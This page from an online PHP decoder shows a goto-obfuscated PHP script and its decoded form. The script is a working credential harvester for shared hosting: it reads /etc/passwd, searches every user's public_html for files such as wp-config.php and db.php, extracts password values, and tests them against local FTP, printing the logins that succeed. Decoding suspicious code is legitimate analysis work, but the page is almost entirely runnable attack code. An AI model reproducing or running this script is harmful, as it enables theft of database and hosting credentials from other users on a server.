Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto BHAY7; QPGJy: foreach ($MEk7Z as $ADE95) { goto zOEAY; U9rxZ: EYYd1: goto ZoirK; zOEA..
Decoded Output download
<? goto BHAY7; QPGJy: foreach ($MEk7Z as $ADE95) { goto zOEAY; U9rxZ: EYYd1: goto ZoirK; zOEAY: $gGjZz = "/home/{$ADE95}/public_html/"; goto sM5d6; sM5d6: Cx_sO($gGjZz, $ADE95); goto U9rxZ; ZoirK: } goto Zpb2r; TSOq4: echo "</textarea><br>"; goto dvvFb; nYT5U: echo "[+] Founded " . sizeof($MEk7Z) . " entrys in /etc/passwd
"; goto NIc4G; u8pqa: if (!is_readable($UviEj)) { goto bbWau; } goto PihbB; pvxmx: qcJa2: goto oyFvs; NIc4G: echo "[+] Founded " . sizeof($KUK1d) . " readable public_html directories\xa"; goto fgPKE; GFTeP: function HVPKk($Zz6pp) { goto cDida; ugIfO: $zkNcK = fgets($a6xNk); goto QYSXi; IAiPl: RbtcV: goto YEz3u; IGliD: $IMkts = substr($zkNcK, strpos($zkNcK, "=") + 3, strrpos($zkNcK, """) - (strpos($zkNcK, "=") + 3)); goto aITn9; RWMgL: goto jxKdp; goto m8fHd; rs1Q5: if (strrpos($zkNcK, """)) { goto YpWRR; } goto Ssvdj; Ssvdj: $IMkts = substr($zkNcK, strpos($zkNcK, "=") + 3, strrpos($zkNcK, "'") - (strpos($zkNcK, "=") + 3)); goto RWMgL; m8fHd: YpWRR: goto IGliD; aITn9: jxKdp: goto pBDsi; nlwZQ: d19y1: goto KFLqd; Npi5U: goto RbtcV; goto nlwZQ; QYSXi: if (!(strstr($zkNcK, "pass") or strstr($zkNcK, "password") or strstr($zkNcK, "passwd"))) { goto xk_Lr; } goto rs1Q5; H1RAp: xk_Lr: goto Npi5U; pBDsi: return $IMkts; goto H1RAp; cDida: @($a6xNk = fopen($Zz6pp, "r")); goto IAiPl; YEz3u: if (feof($a6xNk)) { goto d19y1; } goto ugIfO; KFLqd: } goto SYlaQ; H7yas: if ($v34D2) { goto qcJa2; } goto d2VvI; JnqU8: if (!($XTtey > 35)) { goto V8P_8; } goto UZAVa; g8WLX: array_push($KUK1d, $UviEj); goto obI28; tciPo: $lxozz = substr($Mq7_d, 0, $MV07k); goto acsSX; R5a5C: $XTtey++; goto QjTJ_; VuR6p: $Mq7_d = fgets($v34D2); goto JnqU8; XK2gn: echo "\xa[+] Done
"; goto HUFfD; fgPKE: echo "[~] Searching for passwords in config.* files...
\xa"; goto QPGJy; py1R2: echo "<br><br>"; goto y79lf; obI28: bbWau: goto Z3P3J; Zpb2r: uLJ2G: goto XK2gn; UZAVa: $MV07k = strpos($Mq7_d, ":"); goto tciPo; y79lf: echo "<textarea name='main_window' cols=100 rows=20>"; goto nYT5U; Tj5RU: V8P_8: goto R5a5C; e6V9M: $J5xVB = array(); goto cUldR; AOGEz: @($v34D2 = fopen("/etc/passwd", "r")); goto H7yas; pHkGZ: exit; goto pvxmx; HUFfD: function Cx_So($gGjZz, $lxozz) { goto l7EbW; xzmOy: if (!(false !== ($XqQbA = readdir($GoxsR)))) { goto BysVz; } goto lP9PG; yXTEq: ZnwNC: goto wUIbO; lnQ31: KlIZt: goto XD0t3; hsx8Y: if (is_dir($qWnSS)) { goto FiXJI; } goto hBwlU; EOLrd: FiXJI: goto AhTLm; Jc592: if (!is_readable($L_dOb)) { goto DgSwA; } goto piXMo; A5jyO: echo "[+] {$L_dOb}\xa{$IMkts}\xa"; goto MVw3s; kV8BV: doOXI: goto Qlp58; PvUT7: if (!($IMkts != '')) { goto KuSlr; } goto A5jyO; Qlp58: goto ZnwNC; goto EOLrd; sgsA3: $IMkts = hvPkk($L_dOb); goto PvUT7; m1f3l: ZBv7m: goto Z3CET; lP9PG: $L_dOb = "{$gGjZz}{$XqQbA}"; goto ojjvU; l7EbW: if (!($GoxsR = opendir($gGjZz))) { goto KlIZt; } goto xWdcn; hBwlU: if (!($XqQbA == "config.php" or $XqQbA == "config.inc.php" or $XqQbA == "db.inc.php" or $XqQbA == "connect.php" or $XqQbA == "wp-config.php" or $XqQbA == "var.php" or $XqQbA == "configure.php" or $XqQbA == "db.php" or $XqQbA == "db_connect.php")) { goto doOXI; } goto sgsA3; Z3CET: goto fYm0_; goto WF9DI; MVw3s: BCOgo($lxozz, $IMkts); goto F6P_t; xWdcn: fYm0_: goto xzmOy; WF9DI: BysVz: goto lnQ31; AhTLm: cx_so($qWnSS, $lxozz); goto yXTEq; piXMo: $qWnSS = "{$L_dOb}/"; goto hsx8Y; ojjvU: if (!($XqQbA != "." and $XqQbA != "..")) { goto ZBv7m; } goto Jc592; wUIbO: DgSwA: goto m1f3l; F6P_t: KuSlr: goto kV8BV; XD0t3: } goto GFTeP; oyFvs: $KUK1d = array(); goto wQYxh; SYlaQ: function bCogO($CpYEJ, $IMkts) { goto jyvZ0; lTDyg: lWv56: goto uYmrO; B4Ns9: ftp_quit($st8pG); goto F9Ly3; F9Ly3: goto lWv56; goto T5lxj; jyvZ0: @($st8pG = ftp_connect("127.0.0.1")); goto wQ0tp; vRoFT: if ($Wah8X) { goto oCUyy; } goto B4Ns9; T3C0D: @($Wah8X = ftp_login($st8pG, $CpYEJ, $IMkts)); goto vRoFT; uYmrO: MujBx: goto X4kXQ; wQ0tp: if (!$st8pG) { goto MujBx; } goto T3C0D; T5lxj: oCUyy: goto rb81r; rb81r: echo "[FTP] " . $CpYEJ . ":" . $IMkts . " Success\xa"; goto lTDyg; X4kXQ: } goto TSOq4; RDQhG: if (feof($v34D2)) { goto lJWFx; } goto VuR6p; jGY03: set_time_limit(0); goto AOGEz; KPwAK: if (!($lxozz != '')) { goto uZWzV; } goto u8pqa; cZyaJ: lJWFx: goto py1R2; wQYxh: $MEk7Z = array(); goto e6V9M; cUldR: $XTtey = 0; goto KjEws; Z3P3J: uZWzV: goto Tj5RU; BHAY7: echo "<html>"; goto jGY03; QjTJ_: goto yNWdO; goto cZyaJ; KjEws: yNWdO: goto RDQhG; PihbB: array_push($MEk7Z, $lxozz); goto g8WLX; acsSX: $UviEj = "/home/{$lxozz}/public_html/"; goto KPwAK; d2VvI: echo "[-] Error : coudn't read /etc/passwd"; goto pHkGZ; dvvFb: echo "</body></html>"; ?>
Did this file decode correctly?
Original Code
goto BHAY7; QPGJy: foreach ($MEk7Z as $ADE95) { goto zOEAY; U9rxZ: EYYd1: goto ZoirK; zOEAY: $gGjZz = "\57\150\x6f\155\145\57{$ADE95}\57\x70\x75\142\x6c\x69\143\x5f\150\x74\x6d\x6c\57"; goto sM5d6; sM5d6: Cx_sO($gGjZz, $ADE95); goto U9rxZ; ZoirK: } goto Zpb2r; TSOq4: echo "\x3c\x2f\164\x65\170\164\141\162\145\141\76\74\142\x72\76"; goto dvvFb; nYT5U: echo "\133\53\x5d\x20\x46\157\165\156\x64\145\144\40" . sizeof($MEk7Z) . "\x20\145\x6e\164\x72\x79\163\40\151\156\x20\x2f\x65\x74\143\x2f\x70\x61\163\163\x77\x64\12"; goto NIc4G; u8pqa: if (!is_readable($UviEj)) { goto bbWau; } goto PihbB; pvxmx: qcJa2: goto oyFvs; NIc4G: echo "\133\53\135\x20\106\x6f\x75\x6e\x64\x65\144\x20" . sizeof($KUK1d) . "\x20\x72\145\x61\x64\141\x62\154\145\40\160\165\x62\x6c\151\143\137\x68\164\x6d\x6c\x20\144\x69\162\x65\x63\x74\157\x72\151\x65\x73\xa"; goto fgPKE; GFTeP: function HVPKk($Zz6pp) { goto cDida; ugIfO: $zkNcK = fgets($a6xNk); goto QYSXi; IAiPl: RbtcV: goto YEz3u; IGliD: $IMkts = substr($zkNcK, strpos($zkNcK, "\75") + 3, strrpos($zkNcK, "\x22") - (strpos($zkNcK, "\x3d") + 3)); goto aITn9; RWMgL: goto jxKdp; goto m8fHd; rs1Q5: if (strrpos($zkNcK, "\42")) { goto YpWRR; } goto Ssvdj; Ssvdj: $IMkts = substr($zkNcK, strpos($zkNcK, "\x3d") + 3, strrpos($zkNcK, "\x27") - (strpos($zkNcK, "\75") + 3)); goto RWMgL; m8fHd: YpWRR: goto IGliD; aITn9: jxKdp: goto pBDsi; nlwZQ: d19y1: goto KFLqd; Npi5U: goto RbtcV; goto nlwZQ; QYSXi: if (!(strstr($zkNcK, "\160\x61\x73\163") or strstr($zkNcK, "\160\141\163\163\x77\x6f\162\x64") or strstr($zkNcK, "\x70\141\163\x73\167\144"))) { goto xk_Lr; } goto rs1Q5; H1RAp: xk_Lr: goto Npi5U; pBDsi: return $IMkts; goto H1RAp; cDida: @($a6xNk = fopen($Zz6pp, "\162")); goto IAiPl; YEz3u: if (feof($a6xNk)) { goto d19y1; } goto ugIfO; KFLqd: } goto SYlaQ; H7yas: if ($v34D2) { goto qcJa2; } goto d2VvI; JnqU8: if (!($XTtey > 35)) { goto V8P_8; } goto UZAVa; g8WLX: array_push($KUK1d, $UviEj); goto obI28; tciPo: $lxozz = substr($Mq7_d, 0, $MV07k); goto acsSX; R5a5C: $XTtey++; goto QjTJ_; VuR6p: $Mq7_d = fgets($v34D2); goto JnqU8; XK2gn: echo "\xa\133\53\x5d\x20\x44\x6f\x6e\145\12"; goto HUFfD; fgPKE: echo "\x5b\176\135\x20\123\x65\141\162\143\150\x69\x6e\147\40\146\157\162\x20\x70\141\163\163\167\157\x72\144\x73\40\151\156\x20\x63\157\x6e\x66\151\x67\x2e\52\x20\x66\151\154\x65\163\56\x2e\x2e\12\xa"; goto QPGJy; py1R2: echo "\x3c\142\x72\x3e\74\142\x72\76"; goto y79lf; obI28: bbWau: goto Z3P3J; Zpb2r: uLJ2G: goto XK2gn; UZAVa: $MV07k = strpos($Mq7_d, "\72"); goto tciPo; y79lf: echo "\x3c\x74\145\170\164\x61\162\x65\x61\x20\x6e\141\155\145\x3d\x27\155\141\151\x6e\x5f\167\x69\x6e\144\157\x77\x27\x20\x63\157\154\x73\75\x31\x30\x30\40\x72\157\167\x73\75\x32\x30\76"; goto nYT5U; Tj5RU: V8P_8: goto R5a5C; e6V9M: $J5xVB = array(); goto cUldR; AOGEz: @($v34D2 = fopen("\57\145\164\143\57\160\x61\163\x73\x77\144", "\162")); goto H7yas; pHkGZ: exit; goto pvxmx; HUFfD: function Cx_So($gGjZz, $lxozz) { goto l7EbW; xzmOy: if (!(false !== ($XqQbA = readdir($GoxsR)))) { goto BysVz; } goto lP9PG; yXTEq: ZnwNC: goto wUIbO; lnQ31: KlIZt: goto XD0t3; hsx8Y: if (is_dir($qWnSS)) { goto FiXJI; } goto hBwlU; EOLrd: FiXJI: goto AhTLm; Jc592: if (!is_readable($L_dOb)) { goto DgSwA; } goto piXMo; A5jyO: echo "\133\53\135\x20{$L_dOb}\xa{$IMkts}\xa"; goto MVw3s; kV8BV: doOXI: goto Qlp58; PvUT7: if (!($IMkts != '')) { goto KuSlr; } goto A5jyO; Qlp58: goto ZnwNC; goto EOLrd; sgsA3: $IMkts = hvPkk($L_dOb); goto PvUT7; m1f3l: ZBv7m: goto Z3CET; lP9PG: $L_dOb = "{$gGjZz}{$XqQbA}"; goto ojjvU; l7EbW: if (!($GoxsR = opendir($gGjZz))) { goto KlIZt; } goto xWdcn; hBwlU: if (!($XqQbA == "\143\157\x6e\146\x69\147\56\160\x68\160" or $XqQbA == "\143\157\156\x66\151\x67\56\x69\x6e\143\x2e\x70\x68\x70" or $XqQbA == "\144\142\x2e\x69\x6e\143\56\160\150\160" or $XqQbA == "\143\157\x6e\156\145\143\164\x2e\x70\x68\x70" or $XqQbA == "\167\x70\x2d\x63\157\x6e\146\151\x67\56\x70\x68\x70" or $XqQbA == "\166\x61\x72\x2e\160\x68\x70" or $XqQbA == "\143\157\156\146\151\147\x75\162\x65\x2e\x70\x68\x70" or $XqQbA == "\144\142\x2e\160\150\160" or $XqQbA == "\144\142\x5f\143\157\156\x6e\x65\x63\164\56\x70\150\160")) { goto doOXI; } goto sgsA3; Z3CET: goto fYm0_; goto WF9DI; MVw3s: BCOgo($lxozz, $IMkts); goto F6P_t; xWdcn: fYm0_: goto xzmOy; WF9DI: BysVz: goto lnQ31; AhTLm: cx_so($qWnSS, $lxozz); goto yXTEq; piXMo: $qWnSS = "{$L_dOb}\x2f"; goto hsx8Y; ojjvU: if (!($XqQbA != "\56" and $XqQbA != "\56\56")) { goto ZBv7m; } goto Jc592; wUIbO: DgSwA: goto m1f3l; F6P_t: KuSlr: goto kV8BV; XD0t3: } goto GFTeP; oyFvs: $KUK1d = array(); goto wQYxh; SYlaQ: function bCogO($CpYEJ, $IMkts) { goto jyvZ0; lTDyg: lWv56: goto uYmrO; B4Ns9: ftp_quit($st8pG); goto F9Ly3; F9Ly3: goto lWv56; goto T5lxj; jyvZ0: @($st8pG = ftp_connect("\x31\62\67\x2e\x30\56\60\56\x31")); goto wQ0tp; vRoFT: if ($Wah8X) { goto oCUyy; } goto B4Ns9; T3C0D: @($Wah8X = ftp_login($st8pG, $CpYEJ, $IMkts)); goto vRoFT; uYmrO: MujBx: goto X4kXQ; wQ0tp: if (!$st8pG) { goto MujBx; } goto T3C0D; T5lxj: oCUyy: goto rb81r; rb81r: echo "\133\x46\124\x50\x5d\x20" . $CpYEJ . "\x3a" . $IMkts . "\40\x20\x53\165\143\x63\x65\163\163\xa"; goto lTDyg; X4kXQ: } goto TSOq4; RDQhG: if (feof($v34D2)) { goto lJWFx; } goto VuR6p; jGY03: set_time_limit(0); goto AOGEz; KPwAK: if (!($lxozz != '')) { goto uZWzV; } goto u8pqa; cZyaJ: lJWFx: goto py1R2; wQYxh: $MEk7Z = array(); goto e6V9M; cUldR: $XTtey = 0; goto KjEws; Z3P3J: uZWzV: goto Tj5RU; BHAY7: echo "\74\x68\x74\x6d\x6c\76"; goto jGY03; QjTJ_: goto yNWdO; goto cZyaJ; KjEws: yNWdO: goto RDQhG; PihbB: array_push($MEk7Z, $lxozz); goto g8WLX; acsSX: $UviEj = "\57\x68\157\155\145\x2f{$lxozz}\57\x70\165\x62\154\x69\x63\x5f\150\x74\155\x6c\57"; goto KPwAK; d2VvI: echo "\133\x2d\135\40\x45\x72\162\157\162\x20\x3a\40\143\157\x75\x64\x6e\x27\x74\40\x72\145\x61\144\40\57\145\164\143\57\160\141\x73\x73\167\x64"; goto pHkGZ; dvvFb: echo "\x3c\x2f\142\x6f\144\x79\76\x3c\57\x68\x74\x6d\154\x3e";
Function Calls
None |
Stats
MD5 | eec96137af6806c9b866273d7c7d6b1b |
Eval Count | 0 |
Decode Time | 56 ms |